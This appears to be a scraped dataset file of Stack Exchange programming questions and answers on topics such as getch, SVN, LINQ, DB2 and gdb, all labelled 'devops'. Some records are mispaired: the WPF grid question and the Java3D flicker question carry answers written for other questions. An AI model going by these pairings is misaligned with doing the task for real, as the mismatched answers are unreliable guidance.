{"id": "hf_efb62c272906", "question": "<p>I am using <code>getch()</code> and my app crashes instantly. Including when doing:</p>\n\n<pre><code>int main()\n{\n    getch();\n}\n</code></pre>\n\n<p>I can't find the link but supposedly the problem is that it needs to turn off buffering or something strange along those lines, and I still want <code>cout</code> to work along with cross platform code.</p>\n\n<p>I was told to use <code>std::cin.get()</code>, but I'd like the app to quit when a key is pressed, not when the user typed in a letter or number then press enter to quit.</p>\n\n<p>Is there any function for this? The code must work under Mac (my os) and Windows.</p>\n\n<hr>\n\n<p>Linking/compiling is not an <a href=\"https://stackoverflow.com/questions/267250/equivalent-to-getch-mac-linux-crash#comment14636199_267281\">issue</a>; I include <code>&lt;curses.h&gt;</code> and link with <code>-lcurses</code> in XCode, while Windows uses <code>&lt;conio.h&gt;</code>.</p>\n", "question_body": "", "answer": "You have not exhibited a\n```\n```\n#include <stdio.h>\n```\n```\nor\n```\n```\n#include <curses.h>\n```\n```\nor similar line. Are you sure that you are linking against a library that\nincludes\n```\ngetch()\n```\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:23.389059"}
{"id": "hf_13b61ce4421f", "question": "<p>After considering the answers to my previous question (<a href=\"https://stackoverflow.com/questions/252459/one-svn-repository-or-many\">One SVN Repository or many?</a>), I've decided to take the 4 or so repositories I have and consolidate them into one. This of course leads to the question, <strong>what's the best way to do this?</strong></p>\n\n<p>Is there a way to combine two or more repositories maintaining the version history for both?</p>\n\n<p>Edit: <em>I should also point out that I'm using Assembla.com, which does not provide access to the svnadmin command, AFAIK</em></p>\n\n<p>Another edit: <em>Does this even matter? If svnadmin works on URLs, then it's no problem then.</em></p>\n", "question_body": "", "answer": "Yes, using\nsvnadmin dump\nand\nsvnadmin load\n.\nLet's assume that you have to repositories, one with HEAD revision 100 and the other with HEAD revision 150.\nYou dump the first repository and load it in the new one: you end up with the full story of the first repository, from revision 0 to revision 150.\nThen you dump the second repository and load it in the new one: it gets loaded with its full history, the only things that change are the actual revision numbers. The history of the second repository will be represented in the new repository from revision 151 to revision 250.\nThe full history of both repositories is preserver, only the revision numbers change for the repository that is imported for second.\nThe same of course applies for more than two repositories.\nEDIT: I posted while you were editing, so I didn't see your note...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:23.413577"}
{"id": "hf_6f2588e8436c", "question": "<p>The Dragon Book includes an exercise on converting integers to roman numerals using a syntax-directed translation scheme.</p>\n\n<p>How can this be completed?</p>\n", "question_body": "", "answer": "I would consider parsing from right-to-left.\nFirst, I would map the units column:\n```\n```\n0 -> ''\n1 -> 'I'\n2 -> 'II'\n3 -> 'III'\n4 -> 'IV'\n...\n9 -> 'IX'\n```\n```\nThen, if there was a second column (e.g. second from the right = tens column), I would use that to map to\n```\n```\n0 -> ''\n1 -> 'X'\n2 -> 'XX'\n...\n9 -> 'XC'\n```\n```\nThat would need to be prepended to the initial output.\nRepeat for next columns (hundreds, thousands) until you run out of letters.\nDouble-check the number isn't '0' or negative.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:23.548184"}
{"id": "hf_9cc136c4c74a", "question": "<p>I have a Grid in WPF. The Grid has a transparent background (necessary) and each of the cells potentially has a different colored solid background, or maybe no background. When I put arbitrary content in these cells, when two adjacent cells both have colored backgrounds (same or different color, it doesn't matter) there is often (and unpredictably) a thin transparent line separating them, allowing you to see through the grid at that line.</p>\n\n<p>Does anyone know how this could possibly be fixed?</p>\n\n<p>Edit: Meant to mention it in my question, but I've tried enabling SnapsToDevicePixels anywhere and everywhere I can, to no avail.</p>\n", "question_body": "", "answer": "My answer: Do a simple comparsion of the time taken to perform a simple Get/Edit/Update sequence.  I think you will find that LINQ to SQL is twice as quick.  I did a quick comparsion project when i was investigating the differences.\nThe results where:\nEntity Framework 8,700 milliseconds \nLINQ to SQL 3,100 milliseconds \nData-sets 2,000 milliseconds\nSo for me it was a simple question.  Use DataSets or use Linq-Sql - Entity Framework didn't even factor into it!\nlink text", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:23.581635"}
{"id": "hf_1a38fe7e4e7b", "question": "<p>When beginning a new web project, i'm always a bit worried about removing pieces of the web.config.  It seems there are more entries than ever with Net 3.5 SP1.</p>\n\n<p>Which bits of the .config do you delete for the following scenarios:</p>\n\n<ul>\n<li>WCF Web Service, no Javascript support</li>\n<li>Simple MVC Website</li>\n</ul>\n\n<p>EDIT\nCan someone document a basic list of things left in and taken out of the web.config for a simple website?</p>\n", "question_body": "", "answer": "I usually just delete items from the web.config until things break -- a process of trial and error.\nIt's astonishing how much of web.config you can remove without affecting anything. It's gotten quite crufty in .NET 3.5.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:23.614911"}
{"id": "hf_ae201786b88c", "question": "<p>What is the best option for a windows application that uses SQL server authentication? Should I create a single SQL account and manage the users inside the application (using a users table). Or should I create a SQL server account for each user. What is your experience? Thank you!</p>\n", "question_body": "", "answer": "What about having SQL accounts based on the level of permissions needed for the task. For example you could have a read only account just used for reporting if your system has a lot of reporting. You would also need an account what has write access for people to change their passwords and other user admin tasks.\nIf you have situations where certain users are only going to have access to certain data I would have separate accounts for that data. The problem with using 1 account is you are saying that there is no SQL injection anywhere in your application. That is something everyone would strive for but sometimes perfect security is not possible, hence the multi-pronged approach.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:23.661064"}
{"id": "hf_a319127d62c3", "question": "<p>For example, if I have a <em>unicode</em> string, I can encode it as an <em>ASCII</em> string like so:</p>\n\n<pre><code>&gt;&gt;&gt; u'\\u003cfoo/\\u003e'.encode('ascii')\n'&lt;foo/&gt;'\n</code></pre>\n\n<p>However, I have e.g. this <em>ASCII</em> string:</p>\n\n<pre><code>'\\u003foo\\u003e'\n</code></pre>\n\n<p>... that I want to turn into the same <em>ASCII</em> string as in my first example above:</p>\n\n<pre><code>'&lt;foo/&gt;'\n</code></pre>\n", "question_body": "", "answer": "It's a little dangerous depending on where the string is coming from, but how about:\n```\n```\n>>> s = '\\u003cfoo\\u003e'\n>>> eval('u\"'+s.replace('\"', r'\\\"')+'\"').encode('ascii')\n'<foo>'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:23.717661"}
{"id": "hf_d7ca548e7660", "question": "<p>I would like to read/write encrypted XML files using LINQ to XML. Does anyone know how to use encryption algorithms built into the .NET Framework to encrypt the Stream used by the XDocument object?</p>\n\n<p>I did try it, but you can't set the CryptoStream to Read/Write access. It only support Read or Write, which causes LINQ to XML to throw an exception.</p>\n\n<p>Update: It would be nice to read/write the document \"on the fly\", but I am only required to read the encrypted xml file, manipulate it, then write it back out encrypted again.</p>\n", "question_body": "", "answer": "The easiest approach is probably an XDocument.Load(), Linq around, then XDocument.Save(). From a quick test app (go easy on non-disposed resources):\n```\n```\nXDocument writeContacts = new XDocument(\n   new XElement(\"contacts\",\n      new XElement(\"contact\",\n         new XElement(\"name\", \"Patrick Hines\"),\n         new XElement(\"phone\", \"206-555-0144\",\n             new XAttribute(\"type\", \"home\")),\n         new XElement(\"phone\", \"425-555-0145\",\n             new XAttribute(\"type\", \"work\")),\n         new XElement(\"address\",\n            new XElement(\"street1\", \"123 Main St\"),\n            new XElement(\"city\", \"Mercer Island\"),\n            new XElement(\"state\", \"WA\"),\n            new XElement(\"postal\", \"68042\")\n         )\n      )\n   )\n);\n\nRijndael RijndaelAlg = Rijndael.Create();\n\nFileStream writeStream = File.Open(\"data.xml\", FileMode.Create);\nCryptoStream cStream = new CryptoStream(writeStream,\n    RijndaelAlg.CreateEncryptor(RijndaelAlg.Key, RijndaelAlg.IV),\n    CryptoStreamMode.Write);\n\nStreamWriter writer = new StreamWriter(cStream);\n\nwriteContacts.Save(writer);\n\nwriter.Flush();\nwriter.Close();\n\nFileStream readStream = File.OpenRead(\"data.xml\");\n\ncStream = new CryptoStream(readStream,\n  RijndaelAlg.CreateDecryptor(RijndaelAlg.Key, RijndaelAlg.IV),\n  CryptoStreamMode.Read);\n\nXmlTextReader reader = new XmlTextReader(cStream);\n\nXDocument readContacts = XDocument.Load(reader);\n\n//manipulate with Linq and Save() when needed\n```\n```\nSwap your favorite ICryptoTransform into the CryptoStream.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:23.752029"}
{"id": "hf_950083235e29", "question": "<p>I'm looking for a wrapper that distills zlib to:</p>\n\n<ol>\n<li>OpenZipFile()</li>\n<li>GetItemInfo(n)</li>\n<li>UnzipItem(n)  // Bonus points for unzipping recursively if item n is a directory.</li>\n</ol>\n\n<p>I see a lot of wrappers around the zlib library on, say, codeproject.com but they are all platform-specific in order to provide the added platform-specific functionality of unzipping to file/memory buffer/pipe.</p>\n", "question_body": "", "answer": "In the zlib source archive, there is a contribution named \"minizip\".\n\"minizip\" is a set of files you can use to play with .zip files. Basic services you need are already there :\nunzOpen\nunzLocateFile\nunzOpenCurrentFile\nunzGetCurrentFileInfo\nunzCloseCurrentFile\nunzClose\nOf course, this is not object oriented (and I'm sure that was not the goal of the creator of minizip), but writing a simple object oriented wrapper should be easy.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:23.776610"}
{"id": "hf_11e139921447", "question": "<p>On IBM DB2 v.9 windows, when someone connect to database by Server\\Administrator user\nDB2 database will automatically accept and grant all the permissions to this user?\nBut, in some case environment Administrator of server does not need to see every data in the database. So how to prevent Administrator use connect to database?</p>\n", "question_body": "", "answer": "By default, DB2 databases are created with\n```\nCONNECT\n```\nauthority granted to public.  If you want to restrict some users from connecting, you need to do\n```\n```\nGRANT CONNECT ON DATABASE TO <user1>, <user2>, ...\n```\n```\nThen revoke the CONNECT authority from PUBLIC\n```\n```\nREVOKE CONNECT ON DATABASE FROM PUBLIC\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:23.800659"}
{"id": "hf_766b4c0d2647", "question": "<p>I'm having some trouble figuring out how to use more than one left outer join using LINQ to SQL.  I understand how to use one left outer join.  I'm using VB.NET.  Below is my SQL syntax.</p>\n\n<p><strong>T-SQL</strong></p>\n\n<pre><code>SELECT\n    o.OrderNumber,\n    v.VendorName,\n    s.StatusName\nFROM\n    Orders o\nLEFT OUTER JOIN Vendors v ON\n    v.Id = o.VendorId\nLEFT OUTER JOIN Status s ON\n    s.Id = o.StatusId\nWHERE\n    o.OrderNumber &gt;= 100000 AND\n    o.OrderNumber &lt;= 200000\n</code></pre>\n", "question_body": "", "answer": "I think you should be able to follow the method used in\nthis\npost.  It looks really ugly, but I would think you could do it twice and get the result you want.\nI wonder if this is actually a case where you'd be better off using\n```\nDataContext.ExecuteCommand(...)\n```\ninstead of converting to linq.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:23.865436"}
{"id": "hf_6ce0f3324a07", "question": "<p>I have two tables that I would like to join but I am getting an error from MySQL</p>\n\n<pre><code>Table: books\nbookTagNum ShelfTagNum\nbook1      1\nbook2      2\nbook3      2\n\nTable: shelf\nshelfNum   shelfTagNum\n1          shelf1\n2          shelf2\n</code></pre>\n\n<p>I want my results to be:</p>\n\n<pre><code>bookTagNum ShelfTagNum shelfNum\nbook1      shelf1           1\nbook2      shelf2           2\nbook3      shelf2           2\n</code></pre>\n\n<p>but instead I am also getting an extra result:</p>\n\n<pre><code>book1      shelf2           2\n</code></pre>\n\n<p>I think my query is doing a cross product instead of a join:</p>\n\n<pre><code>SELECT `books`.`bookTagNum` , `books`.`shelfNum` , `shelf`.`shelfTagNum` , `books`.`title`\nFROM books, shelf\nwhere `books`.`shelfNum`=`books`.`shelfNum`\nORDER BY `shelf`.`shelfTagNum` ASC\nLIMIT 0 , 30\n</code></pre>\n\n<p>What am I doing wrong?</p>\n", "question_body": "", "answer": "I think you want\n```\n```\nwhere `books`.`shelfTagNum`=`shelf`.`shelfNum`\n```\n```\nIn order to match rows from the\n```\nbooks\n```\nand\n```\nshelf\n```\ntables, you need to have terms from each in your\n```\nwhere\n```\nclause - otherwise, you're just performing a no-operation check on the rows of\n```\nbooks\n```\n, since every row's\n```\nshelfNum\n```\nwill be equal to its\n```\nshelfNum\n```\n.\nAs @fixme.myopenid.com suggests, you could also go the explicit\n```\nJOIN\n```\nroute, but it's not necessary.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:23.912147"}
{"id": "hf_cfa1e8ebbeb4", "question": "<p>I would like to implement a telnet server in C. How would I proceed with this? Which RFCs should I look at? This is important to me, and I would appreciate any help.</p>\n", "question_body": "", "answer": "For very basic telnet (just telnet to a port and echo bytes), there's not much to do.  Read from a socket, process it (in an echo server, do nothing), spit back a result.  You could implement a simple MUD-style server without knowing anything in any RFCs.\nBut if you're really concerned about RFCs, RFC 854 might be a starting point.\nhttp://www.faqs.org/rfcs/rfc854.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:23.946920"}
{"id": "hf_cfe38ca30a39", "question": "<p>I'd like to know what are the most useful JQuery plugins. I'm particularly interested in  those which are likely to be useful in general UI development, such as <a href=\"http://tablesorter.com\" rel=\"noreferrer\">Tablesorter</a>, rather than those which serve uncommon needs.</p>\n\n<p>If you could provide a very brief description of the plugin's purpose, that would be really helpful.</p>\n\n<p>Thanks,\nDon</p>\n", "question_body": "", "answer": "I'll list one I'm working on...\nMy jLINQ plugin\nis a jQuery version of .NET LINQ. It's made for working with in-memory collections (not talking directly to the server) and let's you use syntax similar to the following.\n```\n```\nvar results = $.from(data)\n    .ignoreCase()\n    .startsWith(\"firstName\",\"m\")\n    .or(\"n\")\n    .isNot(\"administrator\")\n    .orderBy(\"lastName\")\n    .select();\n```\n```\nIt supports a bunch of other commands that you find in LINQ for ordering and grouping along with most of the selection commands like contains, between, greaterThan, etc...\nHere is a demo\n-\nIt's stable, but still in progress\nMaybe not must have, but might be useful as it progresses...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:24.031555"}
{"id": "hf_2deae52d922a", "question": "<p>Using jquery how do I focus the first element (edit field, text area, dropdown field, etc)\nin the form when the page load?</p>\n\n<p>Something like:</p>\n\n<pre><code>document.forms[0].elements[0].focus();\n</code></pre>\n\n<p>but using jquery.</p>\n\n<p>Another requirement, don't focus the first element when the form has class=\"filter\".</p>\n", "question_body": "", "answer": "```\n```\n$('form:not(.filter) :input:visible:enabled:first').focus()\n```\n```\nThis will select the first visible input element (\n```\n<input />\n```\n,\n```\n<select>\n```\n,\n```\n<textarea>\n```\n) that doesn't have the class\n```\nfilter\n```\nin it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:24.067655"}
{"id": "hf_a1fab82aeefe", "question": "<p>I have both Fruityloops and Propellerheads Reason software synths on my Windows PC.</p>\n\n<p>Any way I can get at and script these from either Visual Basic or Python? Or at least send Midi messages to the synths from code?</p>\n\n<p>Update : attempts to use something like a \"midi-mapper\" (thanks for link MusiGenesis) don't seem to work. I don't think Reason or FL Studio act like standard GM Midi synths.</p>\n\n<p>Update 2 : If you're interested in this question, <a href=\"https://stackoverflow.com/questions/427037/scripting-lmms-from-python\">check out this too</a>.</p>\n", "question_body": "", "answer": "I think both FL Studio and Reason can be configured as the default MIDI playback device.  To send MIDI messages to either from VB.NET, you'll need to PInvoke the midiOutOpen, midiOutShortMsg and midiOutClose API calls.  Here's a link to code samples:\nhttp://www.answers.com/topic/midioutopen\nThey're for VB6, but they should be easy to translate to VB.NET.\nI know FL Studio can be \"driven\" from a plugin authored for FL (or a VSTx plugin), but I think these are always written in C or C++.\nEdit:  I just learned that Windows Vista dropped the MIDI Mapper (which would have made setting up FL or Reason as the default MIDI device simple).  Amazing.  Here is a link I found with an alternative solution:\nhttp://akkordwechsel.de/15-windows-vista-und-der-midi-mapper/\nI just tried it out (it's just a *.CPL file that you double-click to run) and it appears to work (although the GM Synth is the only option available on my laptop, so I'm not sure if it will pick up FL or Reason as choices).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:24.098353"}
{"id": "hf_083ab2ab07ee", "question": "<p>Does anyone know how to generate SQL scripts from a query?</p>\n\n<p>For example, </p>\n\n<ol>\n<li>Script some tables.</li>\n<li>Do custom action 1.</li>\n<li>Script the views. </li>\n<li>Do custom action 2.</li>\n<li>Etc.</li>\n</ol>\n", "question_body": "", "answer": "It sounds like you want to write a cursor to execute custom SQL.  This is common and easy to do.  What you need to do is specify a few things to help us more completely answer your question:\nWhat type of SQL server are you using? (MSSQL, Oracle, MySQL)\nWhat language are you writing in? (Java, C++, PL/SQL, TSQL)\nYou can either write code (Java / C++) to generate SQL from a query, or possibly use a cursor to iterate over recordsets (PL/SQL / TSQL).  You can use the results to give you information that can then be executed as SQL via an exec (of some kind depending on the language).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:24.129211"}
{"id": "hf_eda3bde22012", "question": "<p>I am trying to use native windows API with Qt using mingw toolset. There are link problems with some functions. What happens? Is this a bug with mingw name mangling?</p>\n\n<pre><code>#ifdef Q_WS_WIN\n    HWND hwnd = QWidget::winId();\n    HDC hdcEMF  = CreateEnhMetaFile(NULL, NULL, NULL, NULL ) ;\n    Rectangle(hdcEMF,100,100,200,200);\n    HENHMETAFILE hemf = CloseEnhMetaFile(hdcEMF);\n    OpenClipboard(hwnd);\n    EmptyClipboard();\n    SetClipboardData(CF_ENHMETAFILE,hemf);\n    CloseClipboard();\n#else   </code></pre>\n\n<p>The errors:</p>\n\n<p>undefined reference to `CreateEnhMetaFileW@16'</p>\n\n<p>undefined reference to `Rectangle@20'</p>\n\n<p>undefined reference to `CloseEnhMetaFile@4'</p>\n", "question_body": "", "answer": "The functions\n```\nCreateEnhMetaFileW()\n```\nand\n```\nCloseEnhMetaFile()\n```\nare defined in the static library Gdi32.lib, so you have to make sure to link against that.  Try adding\n```\n-lgdi32\n```\nto the end of your command line you're using to compile.  If that doesn't work, you might have to specify the full path to Gdi32.lib by adding\n```\n-L/path/to/folder/containing/the/library -lgdi32\n```\ninstead.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:24.209354"}
{"id": "hf_203a4ce911df", "question": "<p>Is it possible to inspect the return value of a function in gdb assuming the return value is <strong>not</strong> assigned to a variable?</p>\n", "question_body": "", "answer": "Yes, just examine the\n```\nEAX\n```\nregister by typing\n```\nprint $eax\n```\n.  For most functions, the return value is stored in that register, even if it's not used.\nThe exceptions to this are functions returning types larger than 32 bits, specifically 64-bit integers (\n```\nlong long\n```\n),\n```\ndouble\n```\ns, and\n```\nstructs\n```\nor\n```\nclasses\n```\n.\nThe other exception is if you're not running on an Intel architecture. In that case, you'll have to figure out which register is used, if any.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:24.237818"}
{"id": "hf_124a06c93405", "question": "<p>This question is regarding the performance issue in Mac OS X</p>\n\n<p>Canvas3D object is embedded in a JPanel; then the panel is integrated with the rest of the Swing-built application. Within that Canvas I am rendering a simple cube by applying \ncertain transformations. At the initial launch It works fine. But when i try to resize the window or perform some operations on vertical or horizontal split bar buttons.Swing components take certain time to appear on the screen. A flashy white coloured thing appears first then swing components will appear? ( Totally saying flickering kind of stuff will happen). Is there any to solve this issue? </p>\n\n<p>Kindly help me in this regard.</p>\n\n<p>J3DSwinger</p>\n", "question_body": "", "answer": "Yes, just examine the\n```\nEAX\n```\nregister by typing\n```\nprint $eax\n```\n.  For most functions, the return value is stored in that register, even if it's not used.\nThe exceptions to this are functions returning types larger than 32 bits, specifically 64-bit integers (\n```\nlong long\n```\n),\n```\ndouble\n```\ns, and\n```\nstructs\n```\nor\n```\nclasses\n```\n.\nThe other exception is if you're not running on an Intel architecture. In that case, you'll have to figure out which register is used, if any.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:24.260571"}
{"id": "hf_4e47372ea16e", "question": "<p>We're building an C# .NET app which will be running on computers sitting inside trucks.  We need to talk to Digital IO ports on the truck computers which do not exist on our developer machines, so I need to write a dummy library which will be included in our dev builds, but will be replaced with our actual Digital IO library when we do releases.  And I want this library substitution to be automated by the build process.</p>\n\n<p>Coming from a Java background, I can do this easily in maven using build profiles.  Is there a similar way I can do it using MSbuild??  If not, whats the best way to handle this in C# microsoft land.</p>\n", "question_body": "", "answer": "I recently developed something similar where I assumed an interface for communicating with some embedded computers that operated servos.  To write the software that controlled these computers I\nused Moq to mock\nthe interfaces I wrote, and then later\nplugged in real classes via StructureMap\nthat implemented those interfaces.\nI also used Moq to write the unit tests for the software controlling the machine using the same interfaces.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:24.318551"}
{"id": "hf_9625a7af779d", "question": "<p>I just recently installed the MVC beta.\nHowever, I assumed because the versioning numbers have changed and because it now uses the GAC instead of the bin folder that it wouldn't break existing applications.</p>\n\n<p>However, it has.</p>\n\n<p>What steps do I need to follow to ensure my existing preview 3 applications use a bin copy of the .dlls and are not broken by the installation of the beta?</p>\n", "question_body": "", "answer": "ASP.NET MVC beta is also bin-deployable, Move the following DLL's from GAC to the bin folder of your app\n```\n```\n* System.Web.Mvc\n* System.Web.Routing\n* System.Web.Abstractions\n```\n```\nCheck this article for more information", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:24.365229"}
{"id": "hf_d61a4d93ade7", "question": "<p>I need to do a date comparison in Mysql without taking into account the time component i.e. i need to convert '2008-11-05 14:30:00' to '2008-11-05'</p>\n\n<p>Currently i am doing this:</p>\n\n<pre><code>SELECT from_days(to_days(my_date))\n</code></pre>\n\n<p>Is there a proper way of doing this?</p>\n", "question_body": "", "answer": "Yes, use the\ndate\nfunction:\n```\n```\nSELECT date(my_date)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:24.388385"}
{"id": "hf_508cf6fbc6dc", "question": "<p>I have a swing application deployed in HTTP Server. Users use the browser to point an URL and install the client using java webstart. Now I need to enable https access to my application deployed on HTTP server. I am using JDK 1.5 as default jdk supported in the jnlp file. For time being I use a self signed certificate to the sign the jars (by default created using Sun's jarsigner, keytool, etc, utils).</p>\n\n<p>Solution/steps would be much appreciated.</p>\n\n<p>Thanks in advance</p>\n\n<p>Ramesh</p>\n", "question_body": "", "answer": "What is the feature of https that you are hoping to leverage?\nThe signing/server authentication is done by code signing, though you are undermining this using a self-signed certificate.\nDoes your application code contain secrets that must be hidden from eavesdroppers?\nAs you say you \"need to enable\" there must be an underlying reason.\nI believe that before you \"need https\" you need a proper code signing certificate. You might want to rephrase your question so that your underlying problem can be solved instead of the very specific question.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:24.423469"}
{"id": "hf_4f834564f359", "question": "<p>What is the difference in the accessibility of the following variables in Java?</p>\n\n<pre><code>public class Joe {\n    public int a;\n    protected int b;\n    private int b;\n    int c;\n}\n</code></pre>\n\n<p>I'm most interested in what the last one is doing.</p>\n", "question_body": "", "answer": "```\npublic\n```\n: read/writable for anyone\n```\nprotected\n```\n: read/writable for\ninstances of subclasses\nand from within the enclosing package\n```\nprivate\n```\n: read/writable for\nany\ninstance of the class\nand inner or outer (enclosing) instance\n```\nint c\n```\n:\npackage-private, read/writable for\nall classes inside same package\nSee the\nJLS\nfor more details\nEDIT: Added the comment for protected stating that access is granted from inside same package, you guys are totally right. Also added comment for\n```\nprivate\n```\n. I remember now... ;-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:24.446745"}
{"id": "hf_854a58bbdbc1", "question": "<p>So I've been trying to learn the boost::asio stuff to communicate to a serial device using RS232.  The documementation is sparse and the examples are non-existent.  Can't figure out exactly how to communicate with the device.  The device can't send data so all I need to do is write, but other projects require actual back and forth communication so help with that would be appreciated.  What code I have so far follows.</p>\n\n<pre><code>#include &lt;boost/asio/serial_port.hpp&gt;\nusing namespace::boost::asio;\n\nint main()\n{\n    io_service io;\n    serial_port port( io, \"COM3\" );\n    port.set_option( serial_port_base::baud_rate( 19200 ) );\n\n    unsigned char commands[4] = { 1, 128, 240, 0 };\n\n    // write the commands to the device\n\n    return 0;\n}\n</code></pre>\n\n<p>In short: need help with the io part of the serial_port.</p>\n", "question_body": "", "answer": "In addition to the baud rate, you may also need to set other options like: character_size, flow_control, parity and stop_bits. To write your data to the serial port you can do the following:\n```\n```\nboost::asio::write(port, boost::asio::buffer(commands, 4));\n```\n```\nThe libraries acceptance of buffer types is very flexible and you may want to read further on that topic here:\nBuffers\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:24.470124"}
